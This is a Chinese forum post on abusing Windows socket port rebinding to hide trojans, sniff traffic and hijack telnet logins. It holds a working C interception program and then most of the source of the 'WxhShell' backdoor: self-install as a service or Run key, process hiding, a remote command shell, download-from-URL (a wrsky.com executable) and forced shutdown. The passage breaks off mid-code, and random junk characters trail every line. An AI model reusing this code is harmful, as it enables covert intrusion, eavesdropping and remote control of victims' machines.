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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \n#]%X5c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jip\4{'N  
f hQy36i@  
  saddr.sin_family = AF_INET; 'pan9PW  
XwcMt r*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MZT6g.ny  
a3Y{lc#z}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hUVk54~l  
i{8]'fM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 16I&7=S,  
I>{!U$  
  这意味着什么?意味着可以进行如下的攻击: N~;*bvW{  
\e<mSR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T^~)jpkw  
%N )e91wC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VCjq3/[_  
B &?fM~J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H+a~o=/cR  
A2y6UzLYD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2B-.}OJ  
2\VAmPG.Zs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Yx5J$!Ld  
4E2yH6l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ejVdxVr\7  
F\5X7 ditD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WSQ[.C  
{O)YwT$`  
  #include ]}kI)34/  
  #include \yNQQ$B  
  #include ,eDD:#)$}  
  #include    wX ,h< \7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y+g,pX  
  int main() ;)?( 2 wP  
  { AH^e]<2-  
  WORD wVersionRequested; dIk' pA^d  
  DWORD ret; 6 mCq/$  
  WSADATA wsaData; :G-1YA  
  BOOL val; 6B#('gxO  
  SOCKADDR_IN saddr; F?z<xL@  
  SOCKADDR_IN scaddr; s2%V4yy%  
  int err; |zq4*  5  
  SOCKET s; Bz+.Qa+  
  SOCKET sc; 2{-!E ^g  
  int caddsize; p%F8'2)}  
  HANDLE mt; 4U?<vby  
  DWORD tid;   3cqQL!Gm  
  wVersionRequested = MAKEWORD( 2, 2 ); i'HPRY  
  err = WSAStartup( wVersionRequested, &wsaData ); b6"}"bG  
  if ( err != 0 ) { F.<L> G7{1  
  printf("error!WSAStartup failed!\n"); bpW!iY/q3  
  return -1; 7:>sc]Z  
  } pz 7H To;p  
  saddr.sin_family = AF_INET; I5qM.@%zB  
   Pt)S;6j   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~wOTjz  
["a"x>X&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?6f7ld5  
  saddr.sin_port = htons(23); 9@n diu[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d ",(a Z  
  { %x2 uP9  
  printf("error!socket failed!\n"); n!G.At'JP  
  return -1; aG(hs J)  
  } w9f _b3  
  val = TRUE; hGI+:Js6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yHNuU)Ft  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7X}TB\N1  
  { ]]TqP{H  
  printf("error!setsockopt failed!\n"); x vmt.>f  
  return -1; R,F gl2  
  } %X>FVlPm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gO='A(Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]tB@kBi "  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f#$|t>  
#op:/j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @QdnjXII*  
  { +@ MPQv  
  ret=GetLastError(); mu[Op*)  
  printf("error!bind failed!\n"); SO;N~D1Z6  
  return -1; IkDiT63]I  
  } ;~+]! U  
  listen(s,2); E9+HS  
  while(1) sWHyL(C@  
  { KVR~jF%  
  caddsize = sizeof(scaddr); <sX VW  
  //接受连接请求 XJgh>^R^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h?Nek+1'  
  if(sc!=INVALID_SOCKET) *%!M4&  
  { \\:|Odd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &nY;=Hv`WY  
  if(mt==NULL) "3fBY\>a  
  { 5Fbs WW2  
  printf("Thread Creat Failed!\n"); 2q PhLCe Z  
  break; u5Up&QE!>q  
  } 2-dh;[4  
  } +q{[\#t5  
  CloseHandle(mt); Vr=OYI'A  
  } e[1>(l}Ss  
  closesocket(s); 6e&$l-  
  WSACleanup(); "AC^ rz~U  
  return 0; Qz,|mo+  
  }   Wd8R u/  
  DWORD WINAPI ClientThread(LPVOID lpParam) Gb2L }  
  { q0&$7GH4  
  SOCKET ss = (SOCKET)lpParam; #HAC*n  
  SOCKET sc; < Ek/8x  
  unsigned char buf[4096]; $*f?&U]k  
  SOCKADDR_IN saddr; 0[T,O,y  
  long num; ]Gv!M?:  
  DWORD val; ; s|w{.<:  
  DWORD ret; eC! #CK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -*B`]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   m$wlflt  
  saddr.sin_family = AF_INET; ]~0}=,H$N  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5~'IKcW<  
  saddr.sin_port = htons(23); bsS:"/?>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $,fy$ Qk,S  
  { Xg7|JS!  
  printf("error!socket failed!\n"); $t}<85YCQ  
  return -1; Sk}{E@  
  } MS3=~*+  
  val = 100; ,.tfWN%t\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9Uf j  
  { DinPxtT?a  
  ret = GetLastError(); W),l  
  return -1; <a( }kk}  
  } Y?K{(szo ?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d2N:^vvvR  
  { }TB(7bbd;  
  ret = GetLastError(); A+getdr  
  return -1; 2;2}wM[  
  } g}x(hF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2% B'3>a  
  { YXW%]Uy+  
  printf("error!socket connect failed!\n"); (MLwQiop  
  closesocket(sc); Y?d9l  
  closesocket(ss); |[$~\MU  
  return -1; x/ *-P b-_  
  } \ZI'|Ad  
  while(1) ;# uZhd  
  { 5!X1G8h)uy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?6^|ZtB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T,%j\0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W-efv  
  num = recv(ss,buf,4096,0); n.}E5 %qK  
  if(num>0) Cbm\h/PXl  
  send(sc,buf,num,0); p-GAe,2q  
  else if(num==0) T;5r{{  
  break; )%d*3\Tsd  
  num = recv(sc,buf,4096,0); ntVS:F  
  if(num>0) CW&.NT  
  send(ss,buf,num,0); 2`G OJ,$  
  else if(num==0) 47K1$3P  
  break; tDg}Ys=4K>  
  } R?o$Y6}5  
  closesocket(ss); c!K]J  
  closesocket(sc); *Hz^K0:8(  
  return 0 ; V)(R]BK{  
  } AlXNg!j;5K  
Jl3g{a  
'cix`l|^  
========================================================== kF"@Ngv.  
G fEX>  
下边附上一个代码,,WXhSHELL T .FI'wy  
v59dh (:`Z  
========================================================== @.Ic z  
/U&Opo {aO  
#include "stdafx.h" 9h4({EE2t  
"pP^*9FrA  
#include <stdio.h> ~ `M\Ir  
#include <string.h> hrGM|_BE  
#include <windows.h> ~\LCvcY"X  
#include <winsock2.h> wMqX)}>  
#include <winsvc.h> ?iI4x%y  
#include <urlmon.h> eqw0]U\pv  
.Z:zZ_Ev  
#pragma comment (lib, "Ws2_32.lib") ^T"vX  
#pragma comment (lib, "urlmon.lib") o%9*B%HO/  
{(U %i\F\  
#define MAX_USER   100 // 最大客户端连接数 /1mW|O>0  
#define BUF_SOCK   200 // sock buffer ,I1 RV  
#define KEY_BUFF   255 // 输入 buffer 0j"8@<  
npJt3 Y_I  
#define REBOOT     0   // 重启 D=m 'pL/pl  
#define SHUTDOWN   1   // 关机 [Zei0O  
Ms~{9?  
#define DEF_PORT   5000 // 监听端口 8_<4-<}P:  
+LM#n#T  
#define REG_LEN     16   // 注册表键长度 bef_rH@`  
#define SVC_LEN     80   // NT服务名长度 u! "t!2I  
_8Kx6s%  
// 从dll定义API AP77a*@8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {M-YHX>*;g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?HF%(>M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )M6w5g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \7Jg7*  
'Vyt4^$%  
// wxhshell配置信息 o(DOQGl  
struct WSCFG { h 3]wL.V  
  int ws_port;         // 监听端口 S;$-''o?9  
  char ws_passstr[REG_LEN]; // 口令 wiz$fj  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]o cWt3|  
  char ws_regname[REG_LEN]; // 注册表键名 fF b_J`'ue  
  char ws_svcname[REG_LEN]; // 服务名 3;S, 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [0"'T[ok  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Llr>9(|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &boOtl^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zt.'K(]2h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rM'=_nmi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xx[9~z=d  
ZI=%JU(  
}; sZx/Ee   
At-U2a#J{  
// default Wxhshell configuration ne 4Q#P  
struct WSCFG wscfg={DEF_PORT, 'nXl>  
    "xuhuanlingzhe", D6>HN[D"  
    1, T:5fc2Ngv  
    "Wxhshell", Z .92y  
    "Wxhshell", $2W%2rZ  
            "WxhShell Service", (p2K36,9m  
    "Wrsky Windows CmdShell Service", :x tXQza"-  
    "Please Input Your Password: ", :yUEkm8  
  1, N5a*7EJv+  
  "http://www.wrsky.com/wxhshell.exe", ?OkWe<:4  
  "Wxhshell.exe" sBr_a5QQ#  
    }; a)wJT`xu  
.zi_[  
// 消息定义模块 eeyHy"@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1oc3$A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |&RU/a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N<~t3/Nm  
char *msg_ws_ext="\n\rExit."; 28 ?\  
char *msg_ws_end="\n\rQuit."; Q_[ 3`j l  
char *msg_ws_boot="\n\rReboot..."; O^oWG&Y;v  
char *msg_ws_poff="\n\rShutdown..."; vQ;Ex  
char *msg_ws_down="\n\rSave to "; 9I6a"PGDb  
V5UF3'3;}  
char *msg_ws_err="\n\rErr!"; 0u;4%}pD  
char *msg_ws_ok="\n\rOK!"; 9I&xfvD,  
nih0t^m'  
char ExeFile[MAX_PATH]; i\,-oO  
int nUser = 0; 7Zlw^'q$:L  
HANDLE handles[MAX_USER]; ,P;Pm68V  
int OsIsNt; Wk)OkIFR  
u6AA4(  
SERVICE_STATUS       serviceStatus; 5`~PR :dN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U4d:] z  
IZpP[hov  
// 函数声明 vEJWFoeEFm  
int Install(void); 0cj>mj1M  
int Uninstall(void); < jJ  
int DownloadFile(char *sURL, SOCKET wsh); OX\A|$GS  
int Boot(int flag); 3yVMXK  
void HideProc(void); 59h)-^!  
int GetOsVer(void); wB.&}p9p  
int Wxhshell(SOCKET wsl); |5lk9<z  
void TalkWithClient(void *cs); be.*#[  
int CmdShell(SOCKET sock); E=nIRG|g  
int StartFromService(void); <g$~1fa  
int StartWxhshell(LPSTR lpCmdLine); U|jSa,}  
;U-jO &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %nf6%@s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1`=nWy='  
k$blEa4  
// 数据结构和表定义 Ff)8Q.m  
SERVICE_TABLE_ENTRY DispatchTable[] = f4fvrL  
{ N sXHO  
{wscfg.ws_svcname, NTServiceMain}, 8WXQ Oo8  
{NULL, NULL} PvPOU"  
}; ]n6#VTz*  
]s<[D$ <,  
// 自我安装 t'n pG}`tE  
int Install(void) fU/>z]K  
{ )Y"+,$$>Y`  
  char svExeFile[MAX_PATH]; EV]1ml k$  
  HKEY key; hgPa6Kd  
  strcpy(svExeFile,ExeFile); s~^5kgPA  
;r<^a6B  
// 如果是win9x系统,修改注册表设为自启动 F1*>y  
if(!OsIsNt) { ItNz}4o|d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d3\qKL!~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y [}.yyye  
  RegCloseKey(key); F3On?x)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9jM}~XvV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H\ F :95  
  RegCloseKey(key); Cd#(X@n  
  return 0; Bs^aII$  
    } *4\:8  
  } ;U/&I3dzV  
} ag [ZW  
else { */`ki;\A  
t}r ' k/[  
// 如果是NT以上系统,安装为系统服务 01t1Z}!y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^aItoJq  
if (schSCManager!=0) 0"<H;7K#W  
{ p`olCp'  
  SC_HANDLE schService = CreateService ZMQ Zs~;~d  
  ( .*OdqLz  
  schSCManager, wr$("A(  
  wscfg.ws_svcname, oH97=>  
  wscfg.ws_svcdisp, y%"{I7!A  
  SERVICE_ALL_ACCESS, XP!S$Q]D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mE+*)gb:Rd  
  SERVICE_AUTO_START, C0T;![/4A  
  SERVICE_ERROR_NORMAL, (KjoSN( K  
  svExeFile, +}Dw3;W}m  
  NULL, W=N+VqK  
  NULL, 5-:?&|JK;  
  NULL, rBQ_iB_  
  NULL, 3dg1DR;  
  NULL ^O?/yV?4c  
  ); !|S(Ms  
  if (schService!=0) 8W*%aOi5+  
  { =W(Q34  
  CloseServiceHandle(schService);  dm\F  
  CloseServiceHandle(schSCManager); $*^7iT4q_t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <}C oQz  
  strcat(svExeFile,wscfg.ws_svcname); '$i: 2mn,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?1~`*LE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 03$mYS_?  
  RegCloseKey(key); R`NYEptJ  
  return 0; KLST\ Ln:  
    } B6MB48#0gs  
  } T6\[iJI|  
  CloseServiceHandle(schSCManager); (nQ^  
} p $S*dr  
} 94'&b=5+  
y6(Z`lx  
return 1; 5'OrHk;u  
} 3#LlDC_WC  
%z=le7  
// 自我卸载 E>6MeO  
int Uninstall(void) Vr3Zu{&2  
{ KjD/o?JUr  
  HKEY key; {&&z-^  
*3+4[WT0]a  
if(!OsIsNt) { )8a~L8oN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Qy<GeY  
  RegDeleteValue(key,wscfg.ws_regname); \j$&DCv   
  RegCloseKey(key); G<L;4nA)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yuh *  
  RegDeleteValue(key,wscfg.ws_regname); ik)|{%!K]H  
  RegCloseKey(key); S\CCrje  
  return 0; ?qb}?&1  
  } 2=*H 8'k  
} OAgniLv  
} wW Lj?;bx  
else { u+9hL4  
k R?qb6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y6g&Y.:o  
if (schSCManager!=0) /ixp&Z|7  
{ A7%)~z<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NDN7[7E  
  if (schService!=0) nGC/R&  
  { ^}RCoE  
  if(DeleteService(schService)!=0) { %Hu5K>ZNYp  
  CloseServiceHandle(schService); VF+KR*  
  CloseServiceHandle(schSCManager); Sj3+l7S?  
  return 0; p?02C# p  
  } l[dK[4  
  CloseServiceHandle(schService); wo3d#=   
  }  eb ?x9h  
  CloseServiceHandle(schSCManager); &sl0W-;0  
} y\/1/WjBn  
} ))qy;Q,  
P9R9(quI  
return 1; '6DBs8>1  
}  {y)=eX9  
 CT&|QH{  
// 从指定url下载文件 b!+hH Hv:  
int DownloadFile(char *sURL, SOCKET wsh) -M\<nx  
{ 0- B5`=yU  
  HRESULT hr; XgZD%7  
char seps[]= "/"; &5>Kl}7  
char *token; lqy Qf$t  
char *file; y#`tgJ:  
char myURL[MAX_PATH]; v_yw@  
char myFILE[MAX_PATH]; m&d|t>3<  
@="Pn5<]C  
strcpy(myURL,sURL); F/ ]2G^-  
  token=strtok(myURL,seps);  \__i  
  while(token!=NULL) kpuz]a7pK  
  { :@yEQ#nFp  
    file=token; Jx:Y-$  
  token=strtok(NULL,seps); A@`}c,G  
  } L7l FtX+b  
kj Jn2c:y  
GetCurrentDirectory(MAX_PATH,myFILE); Z*F3G#A  
strcat(myFILE, "\\"); 11NQR[  
strcat(myFILE, file); 9p]QM)M  
  send(wsh,myFILE,strlen(myFILE),0); HVRZ[Y<^  
send(wsh,"...",3,0); s9 mx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p#-Z4-`  
  if(hr==S_OK) rm7ANMB:  
return 0; [z:!j$K  
else &0d# Y]D4`  
return 1; 9gW|}&-  
_T60;ZI+^  
} 'B |JAi?  
?d*z8w  
// 系统电源模块 @@f"%2ZR[  
int Boot(int flag) $z6_@`[  
{ GblA9F7  
  HANDLE hToken; Y/F6\oh  
  TOKEN_PRIVILEGES tkp; KR} ?H#%  
I^.Om])  
  if(OsIsNt) { O 2V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cp\6W[2+B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); poE0{HOU  
    tkp.PrivilegeCount = 1; hW<%R]^|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |]bsCmD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /PVk{3  
if(flag==REBOOT) { i$Ul(?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cZ,b?I"Q%  
  return 0; Xg6Jh``  
} 9X6h  
else { Ov@gh kr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Ah#<k-gC;  
  return 0; {p2!|A&a  
} l$KA)xbI  
  } t 9lPb_70  
  else { j^*dmX  
if(flag==REBOOT) { <sbu;dQ`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )$2QZ qX  
  return 0; hgG9m[?K  
} M-VX;/&FR  
else { "nynl'Ryk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '@v\{ l  
  return 0; SO/c}vnBB  
} AYBns]!  
} @mCEHI{P  
!)f\%lb  
return 1; .^`{1%  
} aqZi:icFa  
7sCG^&Y  
// win9x进程隐藏模块 [(i  
void HideProc(void) :U|1xgB  
{ B`)BZ,#p  
|d2SIyUc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dFxIF;C>/  
  if ( hKernel != NULL ) NWESP U):w  
  { /8'NG6"H`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >Er|Jxy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c^xIm'eob  
    FreeLibrary(hKernel); I9A~Ye 5O&  
  } P8:dU(nlW  
|l^uEtG  
return; >b}o~F^J  
} 8Al{+gx@?  
v4TQX<0s  
// 获取操作系统版本 -m zIT4  
int GetOsVer(void) u {cW:  
{ l'rja.\  
  OSVERSIONINFO winfo; P= BZ+6DS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?>:g?.+  
  GetVersionEx(&winfo); QE+g j8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /KaZH R.  
  return 1; e(&v"}Ef`  
  else Pbn*_/H  
  return 0; x;.Jw 6g  
} 9.M4o[  
t.y2ff<[U  
// 客户端句柄模块 C3f' {}  
int Wxhshell(SOCKET wsl) ! I:%0D  
{ !?jrf] A@  
  SOCKET wsh; M] %?>G  
  struct sockaddr_in client; KK4`l}Fk:n  
  DWORD myID; O`kl\K*R7  
O/(`S<iip  
  while(nUser<MAX_USER) }"H,h)T  
{ R%WCH?B<}  
  int nSize=sizeof(client); yxQ1`'[CR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hh%-(HaLX3  
  if(wsh==INVALID_SOCKET) return 1; B"w?;EeV.  
a5^] 20Fa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sE<V5`Z=  
if(handles[nUser]==0) 79j+vH!zh  
  closesocket(wsh); $rBq"u=,0+  
else u~:y\/Y6  
  nUser++; 05#1w#i  
  } PdFKs+Z`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F,F4nw<W  
 qA7>vi%  
  return 0; k"%~"9  
} 2zA4vZkbcw  
:pY/-Cgv  
// 关闭 socket *;slV3  
void CloseIt(SOCKET wsh) +o{R _  
{ M/'sl;  
closesocket(wsh); [S%_In   
nUser--; wmL'F:UP  
ExitThread(0); 2wg5#i  
} )EuvRLo{S7  
uAq~=)F>,  
// 客户端请求句柄 ua$GNm  
void TalkWithClient(void *cs) x+:UN'"r  
{ mDABH@ R  
{4}yKjW%z  
  SOCKET wsh=(SOCKET)cs; [b%D3-}'  
  char pwd[SVC_LEN]; >8^ $ [}w  
  char cmd[KEY_BUFF]; X7 MM2V  
char chr[1]; bo>*fNqAIy  
int i,j; 4B1v4g8}  
65P0,b6"OT  
  while (nUser < MAX_USER) { 4[r0G+  
y2dCEmhY  
if(wscfg.ws_passstr) { D/xbF`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2WL|wwA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dq6m>;`  
  //ZeroMemory(pwd,KEY_BUFF); _/$Bpr{R  
      i=0; (N6i4 g6  
  while(i<SVC_LEN) { z, )6"/;  
7kLz[N6Ll  
  // 设置超时 6vo;!V6  
  fd_set FdRead; }OR@~V{Gj  
  struct timeval TimeOut; %nZo4hnr$r  
  FD_ZERO(&FdRead); 6I4\q.^qw  
  FD_SET(wsh,&FdRead); ]@c+]{  
  TimeOut.tv_sec=8; ^ogt+6c  
  TimeOut.tv_usec=0; GW@;}m(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sqwGsO$#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jXx<`I+]  
Yui3+}Ms  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rQs)O<jl  
  pwd=chr[0]; 8 +/rlHp  
  if(chr[0]==0xd || chr[0]==0xa) { (0r3/t?DQ  
  pwd=0; O, wJR  
  break; K(rWNO  
  } _ QI\  
  i++; n1t*sk/J  
    } Tbih+# ?  
CS5?Ti6  
  // 如果是非法用户,关闭 socket 'RR~7h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (,Q7@s  
} ;-lXU0}&  
z&)A,ryW0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); . B9iLI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LVfF[  
Ecefi pG  
while(1) { &K.d'$q  
]L $\ #  
  ZeroMemory(cmd,KEY_BUFF); 3?9IJ5p  
YeL#jtC  
      // 自动支持客户端 telnet标准   "@@u3`#  
  j=0; &< `NT D  
  while(j<KEY_BUFF) { ?0?#U0(;u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QB uMJm  
  cmd[j]=chr[0]; Ad8n<zt|  
  if(chr[0]==0xa || chr[0]==0xd) { ^7U G$A  
  cmd[j]=0; _$Yk M,  
  break; &*,#5.  
  } }Yzco52  
  j++; =E4LRKn  
    } QzVnL U)  
@7]yl&LZ  
  // 下载文件 oy=js -  
  if(strstr(cmd,"http://")) { 1\ ~ "VF*{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ? 7n`A >T  
  if(DownloadFile(cmd,wsh)) xb~yM%*c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,t?B+$E  
  else |(E FY\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rC%*$g $  
  } 4N_R:B-V u  
  else { [)M%cyQ  
+H-6eP  
    switch(cmd[0]) { 9G#n 0&wRJ  
  DDP/DD;n}r  
  // 帮助 xd?f2=dd~h  
  case '?': { m)t;9J5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b9J_1Gl]  
    break; ]"hFC<w  
  } OJuG~euy  
  // 安装 z6=Z\P+  
  case 'i': { Ts[_u@   
    if(Install()) _[c0)2h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =JEv,ZGT3  
    else 6:[dj*KGmT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VU(v3^1"  
    break; EF[@$j   
    } {_[N<U:QT&  
  // 卸载 v5#j Z$<F  
  case 'r': { uM IIYS  
    if(Uninstall()) feDlH[$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t ;;U}  
    else q460iL7yF}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EzM ?Nft  
    break; N=5a54!/  
    } QvlObEhcS  
  // 显示 wxhshell 所在路径 Z, Yb&b  
  case 'p': { 8B K(4?gC  
    char svExeFile[MAX_PATH]; qFCOUl  
    strcpy(svExeFile,"\n\r"); %9F([K  
      strcat(svExeFile,ExeFile); vjGo;+K  
        send(wsh,svExeFile,strlen(svExeFile),0); |O\s|H  
    break; iAEbu&XG  
    } +US!YU  
  // 重启 |&+ o^  
  case 'b': { W.f/pu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9}!qR|l3nR  
    if(Boot(REBOOT)) .\ULbN3Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d9f C<Tp  
    else { :841qCW  
    closesocket(wsh);  NI76U  
    ExitThread(0); f P 1[[3i  
    } mP~QWx![N  
    break; ;;OAQ`  
    } O>b C2;+s  
  // 关机 X1x#6 oi  
  case 'd': { h6D<go-b56  
